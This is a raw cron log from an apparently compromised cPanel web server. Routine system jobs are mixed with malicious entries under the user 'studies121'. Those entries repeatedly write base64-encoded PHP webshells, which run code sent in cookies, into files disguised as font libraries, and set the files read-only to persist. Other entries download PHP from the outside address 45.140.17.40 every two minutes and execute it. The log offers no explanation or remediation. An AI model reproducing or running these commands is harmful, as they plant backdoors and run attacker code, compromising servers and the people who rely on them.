Sep  3 17:26:01 ip-184-168-122-23 CROND[7079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:27:01 ip-184-168-122-23 CROND[7159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:27:01 ip-184-168-122-23 CROND[7161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:27:01 ip-184-168-122-23 CROND[7164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:27:01 ip-184-168-122-23 CROND[7163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:28:01 ip-184-168-122-23 CROND[7296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:28:01 ip-184-168-122-23 CROND[7301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:28:02 ip-184-168-122-23 CROND[7303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:28:02 ip-184-168-122-23 CROND[7304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:28:02 ip-184-168-122-23 CROND[7305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:29:01 ip-184-168-122-23 CROND[7412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:29:01 ip-184-168-122-23 CROND[7414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:29:01 ip-184-168-122-23 CROND[7415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:29:01 ip-184-168-122-23 CROND[7416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:30:01 ip-184-168-122-23 CROND[7536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:30:01 ip-184-168-122-23 CROND[7539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:30:01 ip-184-168-122-23 CROND[7544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:30:01 ip-184-168-122-23 CROND[7540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:30:01 ip-184-168-122-23 CROND[7541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:30:01 ip-184-168-122-23 CROND[7538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:30:01 ip-184-168-122-23 CROND[7542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:30:01 ip-184-168-122-23 CROND[7543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:31:01 ip-184-168-122-23 CROND[7662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:31:01 ip-184-168-122-23 CROND[7663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:31:01 ip-184-168-122-23 CROND[7665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:31:01 ip-184-168-122-23 CROND[7664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:31:01 ip-184-168-122-23 CROND[7666]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:32:01 ip-184-168-122-23 CROND[7772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:32:01 ip-184-168-122-23 CROND[7773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:32:01 ip-184-168-122-23 CROND[7776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:32:01 ip-184-168-122-23 CROND[7775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:32:01 ip-184-168-122-23 CROND[7777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:33:01 ip-184-168-122-23 CROND[7882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:33:01 ip-184-168-122-23 CROND[7885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:33:01 ip-184-168-122-23 CROND[7884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:33:01 ip-184-168-122-23 CROND[7886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:34:01 ip-184-168-122-23 CROND[8046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:34:01 ip-184-168-122-23 CROND[8047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:34:01 ip-184-168-122-23 CROND[8050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:34:01 ip-184-168-122-23 CROND[8052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:34:01 ip-184-168-122-23 CROND[8051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:35:02 ip-184-168-122-23 CROND[8177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:35:02 ip-184-168-122-23 CROND[8179]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:35:02 ip-184-168-122-23 CROND[8180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:35:02 ip-184-168-122-23 CROND[8181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:35:02 ip-184-168-122-23 CROND[8182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:35:02 ip-184-168-122-23 CROND[8184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:35:02 ip-184-168-122-23 CROND[8183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:35:02 ip-184-168-122-23 CROND[8186]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 17:36:01 ip-184-168-122-23 CROND[8305]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:36:01 ip-184-168-122-23 CROND[8307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:36:01 ip-184-168-122-23 CROND[8309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:36:01 ip-184-168-122-23 CROND[8310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:36:01 ip-184-168-122-23 CROND[8311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:37:01 ip-184-168-122-23 CROND[8400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:37:01 ip-184-168-122-23 CROND[8403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:37:01 ip-184-168-122-23 CROND[8402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:37:01 ip-184-168-122-23 CROND[8405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:38:01 ip-184-168-122-23 CROND[8484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:38:01 ip-184-168-122-23 CROND[8488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:38:01 ip-184-168-122-23 CROND[8487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:38:01 ip-184-168-122-23 CROND[8486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
